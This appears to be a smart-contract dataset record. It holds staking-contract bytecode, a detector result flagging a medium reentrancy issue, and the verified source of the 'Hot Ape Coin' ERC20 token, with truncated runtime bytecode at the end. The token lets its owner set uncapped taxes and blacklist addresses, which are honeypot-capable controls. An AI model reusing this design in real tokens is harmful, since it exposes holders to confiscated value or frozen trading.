11f51565b60018151811061122b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151935060007f000000000000000000000000000000000000000000000000000000000000000c11156112965761129361128c7f000000000000000000000000000000000000000000000000000000000000000c600a6127c0565b8590611939565b93505b6112a7565b670de0b6b3a764000093505b8173ffffffffffffffffffffffffffffffffffffffff167f0000000000000000000000000bcd83df58a1bfd25b1347f9c9da1b7118b648a673ffffffffffffffffffffffffffffffffffffffff16146114d8577f0000000000000000000000000bcd83df58a1bfd25b1347f9c9da1b7118b648a681600081518110611355577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526003546040517fd06ca61f00000000000000000000000000000000000000000000000000000000815291169063d06ca61f906113bd90620f4240908590600401612224565b60006040518083038186803b1580156113d557600080fd5b505afa1580156113e9573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261142f9190810190611f51565b600181518110611468577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151925060007f000000000000000000000000000000000000000000000000000000000000000c11156114d3576114d06114c97f000000000000000000000000000000000000000000000000000000000000000c600a6127c0565b8490611939565b92505b6114e4565b670de0b6b3a764000092505b60007f000000000000000000000000d6680f0e252f6409755897ffa7fb8a82f5aade7673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561154c57600080fd5b505afa158015611560573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115849190612091565b9050600081116115c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906124d3565b6000807f000000000000000000000000d6680f0e252f6409755897ffa7fb8a82f5aade7673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561162957600080fd5b505afa15801561163d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611661919061202b565b506dffffffffffffffffffffffffffff91821693501690506000836116a96116a161169461168f8c8c611939565b611c69565b61045c61168f8888611939565b600290611939565b6116b39190612741565b9850505050505050505090565b60016000808282546116d29190612729565b909155505060005485611711576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612476565b6040517fd505accf00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000d6680f0e252f6409755897ffa7fb8a82f5aade76169063d505accf9061178f90339030908b908b908b908b908b906004016121d6565b600060405180830381600087803b1580156117a957600080fd5b505af11580156117bd573d6000803e3d6000fd5b505050506117cb8633611a40565b6000548114611806576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612647565b505050505050565b60015473ffffffffffffffffffffffffffffffffffffffff16331461185f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612287565b60025473ffffffffffffffffffffffffffffffffffffffff8281169116141561188757600080fd5b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6118d661095f565b610a6b81610721565b6301e1338081565b600082821115611923576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906123e2565b600061192f83856128e9565b9150505b92915050565b60008261194857506000611933565b600061195483856128ac565b9050826119618583612741565b14611998576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e990612419565b9392505050565b610b048363a9059cbb60e01b84846040516024016119be92919061217f565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff0000000000000000000000000000000000000000000000000000000090931692909217909152611cd8565b611a8273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000d6680f0e252f6409755897ffa7fb8a82f5aade7616333085611e2a565b6000670de0b6b3a7640000611a998461045c610fe9565b611aa39190612741565b600954909150611ab39084611e4b565b600955600a54611ac39082611e4b565b600a5573ffffffffffffffffffffffffffffffffffffffff82166000908152600b602052604081205490611af78286611e4b565b9050611b5381611b074288611939565b611b119190612741565b73ffffffffffffffffffffffffffffffffffffffff86166000908152600560205260409020548390611b439086611939565b611b4d9190612741565b90611e4b565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260056020908152604080832093909355600b81528282208490556008905290812080549082611b9d83612900565b9091555073ffffffffffffffffffffffffffffffffffffffff8616600081815260066020908152604080832085845282528083208b9055838352600782528083208584528252808320899055928252600c90522054909150611bff9085611e4b565b73ffffffffffffffffffffffffffffffffffffffff86166000818152600c6020526040908190209290925590517f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d90611c59908990612712565b60405180910390a2505050505050565b60006003821115611cca5750806000611c83600283612741565b611c8e906001612729565b90505b81811015611cc457905080600281611ca98186612741565b611cb39190612729565b611cbd9190612741565b9050611c91565b5061046f565b811561046f57506001919050565b611cf78273ffffffffffffffffffffffffffffffffffffffff16611e94565b611d2d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e99061267e565b6000808373ffffffffffffffffffffffffffffffffffffffff1683604051611d559190612125565b6000604051808303816000865af19150503d8060008114611d92576040519150601f19603f3d011682016040523d82523d6000602084013e611d97565b606091505b509150915081611dd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906122f3565b805115611e245780806020019051810190611dee919061200b565b611e24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e99061258d565b50505050565b611e24846323b872dd60e01b8585856040516024016119be939291906121a5565b600080611e588385612729565b905083811015611998576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e9906122bc565b3b151590565b80516dffffffffffffffffffffffffffff8116811461046f57600080fd5b600060208284031215611ec9578081fd5b813561199881612997565b60008060408385031215611ee6578081fd5b8235611ef181612997565b946020939093013593505050565b600080600060608486031215611f13578081fd5b8335611f1e81612997565b92506020840135611f2e81612997565b929592945050506040919091013590565b60008060408385031215611ee6578182fd5b60006020808385031215611f63578182fd5b825167ffffffffffffffff80821115611f7a578384fd5b818501915085601f830112611f8d578384fd5b815181811115611f9f57611f9f612968565b83810260405185828201018181108582111715611fbe57611fbe612968565b604052828152858101935084860182860187018a1015611fdc578788fd5b8795505b83861015611ffe578051855260019590950194938601938601611fe0565b5098975050505050505050565b60006020828403121561201c578081fd5b81518015158114611998578182fd5b60008060006060848603121561203f578283fd5b61204884611e9a565b925061205660208501611e9a565b9150604084015163ffffffff8116811461206e578182fd5b809150509250925092565b60006020828403121561208a578081fd5b5035919050565b6000602082840312156120a2578081fd5b5051919050565b600080604083850312156120bb578182fd5b8235915060208301356120cd81612997565b809150509250929050565b600080600080600060a086880312156120ef578081fd5b8535945060208601359350604086013560ff8116811461210d578182fd5b94979396509394606081013594506080013592915050565b60008251815b81811015612145576020818601810151858301520161212b565b818111156121535782828501525b509190910192915050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9384168152919092166020820152604081019190915260600190565b73ffffffffffffffffffffffffffffffffffffffff97881681529590961660208601526040850193909352606084019190915260ff16608083015260a082015260c081019190915260e00190565b60006040820184835260206040818501528185518084526060860191508287019350845b8181101561227a57845173ffffffffffffffffffffffffffffffffffffffff1683529383019391830191600101612248565b5090979650505050505050565b6020808252818101527f4f776e61626c653a2043616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b60208082526037908201527f5374616b696e674c5052657761726446697865644150593a205468697320737460408201527f616b65206e6f6e6365207761732077697468647261776e000000000000000000606082015260800190565b60208082526028908201527f5374616b696e674c5052657761726446697865644150593a204164647265737360408201527f206973207a65726f000000000000000000000000000000000000000000000000606082015260800190565b6020808252601e908201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60408201527f7700000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526027908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f7374616b65203000000000000000000000000000000000000000000000000000606082015260800190565b6020808252602e908201527f5374616b696e674c5052657761726446697865644150593a204e6f206c69717560408201527f696469747920666f722070616972000000000000000000000000000000000000606082015260800190565b60208082526034908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f726573637565207374616b696e6720746f6b656e000000000000000000000000606082015260800190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60408201527f6f74207375636365656400000000000000000000000000000000000000000000606082015260800190565b60208082526028908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f7265736375652030000000000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6020808252601f908201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604082015260600190565b6020808252603a908201527f5374616b696e674c5052657761726446697865644150593a2043616e6e6f742060408201527f72657363756520746f20746865207a65726f2061646472657373000000000000606082015260800190565b90815260200190565b918252602082015260400190565b6000821982111561273c5761273c612939565b500190565b600082612775577f4e487b710000000000000000000000000000000000000000000000000000000081526012600452602481fd5b500490565b80825b600180861161278c57506127b7565b81870482111561279e5761279e612939565b808616156127ab57918102915b9490941c93800261277d565b94509492505050565b60006119987fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846000826127f757506001611998565b8161280457506000611998565b816001811461281a576002811461282457612851565b6001915050611998565b60ff84111561283557612835612939565b6001841b91508482111561284b5761284b612939565b50611998565b5060208310610133831016604e8410600b8410161715612884575081810a8381111561287f5761287f612939565b611998565b612891848484600161277a565b8086048211156128a3576128a3612939565b02949350505050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128e4576128e4612939565b500290565b6000828210156128fb576128fb612939565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561293257612932612939565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b73ffffffffffffffffffffffffffffffffffffffff81168114610a6b57600080fdfea264697066735822122016b285658b97328b65afb7277365049997b8b554ec5551b87858abbd29232d5764736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,215 |
0x153d30653e7d54315f1f77e2a050c8a1e5dacd2c
|
/**
*Submitted for verification at Etherscan.io on 2022-03-18
*/
/**
https://t.me/HotapeNFT
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HotApe is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Hot Ape Coin";
string private constant _symbol = "HAPE";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 10;
//Sell Fee
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0xf966B3a3dE3464Fdf008f51a066Ebaa6BEDc4C4d);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 5000000000 * 10**9;
uint256 public _maxWalletSize = 15000000000 * 10**9;
uint256 public _swapTokensAtAmount = 500000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function EnbleTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function UpdateFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c806370a08231116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80637d1db4a5116100d15780637d1db4a5146104f45780638da5cb5b1461051f5780638eb59a5f1461054a5780638f9a55c014610561576101d7565b806370a0823114610477578063715018a6146104b457806374010ece146104cb576101d7565b80632fd689e31161016f578063658d4b7f1161013e578063658d4b7f146103d357806367243482146103fc5780636b999053146104255780636d8aa8f81461044e576101d7565b80632fd689e314610329578063313ce5671461035457806349bd5a5e1461037f57806353482196146103aa576101d7565b80630e66e7f1116101ab5780630e66e7f11461026d5780631694505e1461029657806318160ddd146102c157806323b872dd146102ec576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612e46565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190612f17565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f6f565b61084e565b6040516102649190612fca565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f9190613011565b61086c565b005b3480156102a257600080fd5b506102ab610905565b6040516102b8919061309d565b60405180910390f35b3480156102cd57600080fd5b506102d661092b565b6040516102e391906130c7565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e91906130e2565b610935565b6040516103209190612fca565b60405180910390f35b34801561033557600080fd5b5061033e610a0e565b60405161034b91906130c7565b60405180910390f35b34801561036057600080fd5b50610369610a14565b6040516103769190613151565b60405180910390f35b34801561038b57600080fd5b50610394610a1d565b6040516103a1919061317b565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190613196565b610a43565b005b3480156103df57600080fd5b506103fa60048036038101906103f591906131d6565b610ad1565b005b34801561040857600080fd5b50610423600480360381019061041e91906132c7565b610ba8565b005b34801561043157600080fd5b5061044c60048036038101906104479190613348565b610c98565b005b34801561045a57600080fd5b5061047560048036038101906104709190613011565b610d6f565b005b34801561048357600080fd5b5061049e60048036038101906104999190613348565b610e08565b6040516104ab91906130c7565b60405180910390f35b3480156104c057600080fd5b506104c9610e51565b005b3480156104d757600080fd5b506104f260048036038101906104ed9190613375565b610ed9565b005b34801561050057600080fd5b50610509610f5f565b60405161051691906130c7565b60405180910390f35b34801561052b57600080fd5b50610534610f65565b604051610541919061317b565b60405180910390f35b34801561055657600080fd5b5061055f610f8e565b005b34801561056d57600080fd5b50610576611036565b60405161058391906130c7565b60405180910390f35b34801561059857600080fd5b506105a161103c565b6040516105ae9190612f17565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613375565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f6f565b6110ff565b6040516106149190612fca565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190613348565b61111d565b6040516106519190612fca565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b50610698600480360381019061069391906133a2565b6111d2565b6040516106a591906130c7565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613375565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f99190613348565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610f65565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107739061342e565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a061344e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610805906134ac565b91505061077f565b5050565b60606040518060400160405280600c81526020017f486f742041706520436f696e0000000000000000000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610f65565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df9061342e565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b6000610942848484611668565b610a038461094e611495565b6109fe85604051806060016040528060288152602001613f9060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109b4611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a4b611495565b73ffffffffffffffffffffffffffffffffffffffff16610a69610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610abf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab69061342e565b60405180910390fd5b81600681905550806007819055505050565b610ad9611495565b73ffffffffffffffffffffffffffffffffffffffff16610af7610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b449061342e565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610bb0611495565b73ffffffffffffffffffffffffffffffffffffffff16610bce610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b9061342e565b60405180910390fd5b60005b84849050811015610c9157610c7d33868684818110610c4957610c4861344e565b5b9050602002016020810190610c5e9190613348565b858585818110610c7157610c7061344e565b5b90506020020135612062565b508080610c89906134ac565b915050610c27565b5050505050565b610ca0611495565b73ffffffffffffffffffffffffffffffffffffffff16610cbe610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b9061342e565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610d77611495565b73ffffffffffffffffffffffffffffffffffffffff16610d95610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de29061342e565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e59611495565b73ffffffffffffffffffffffffffffffffffffffff16610e77610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec49061342e565b60405180910390fd5b610ed76000612235565b565b610ee1611495565b73ffffffffffffffffffffffffffffffffffffffff16610eff610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4c9061342e565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610f96611495565b73ffffffffffffffffffffffffffffffffffffffff16610fb4610f65565b73ffffffffffffffffffffffffffffffffffffffff161461100a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110019061342e565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b600f5481565b60606040518060400160405280600481526020017f4841504500000000000000000000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610f65565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec9061342e565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610f65565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b09061342e565b60405180910390fd5b60006111c430610e08565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002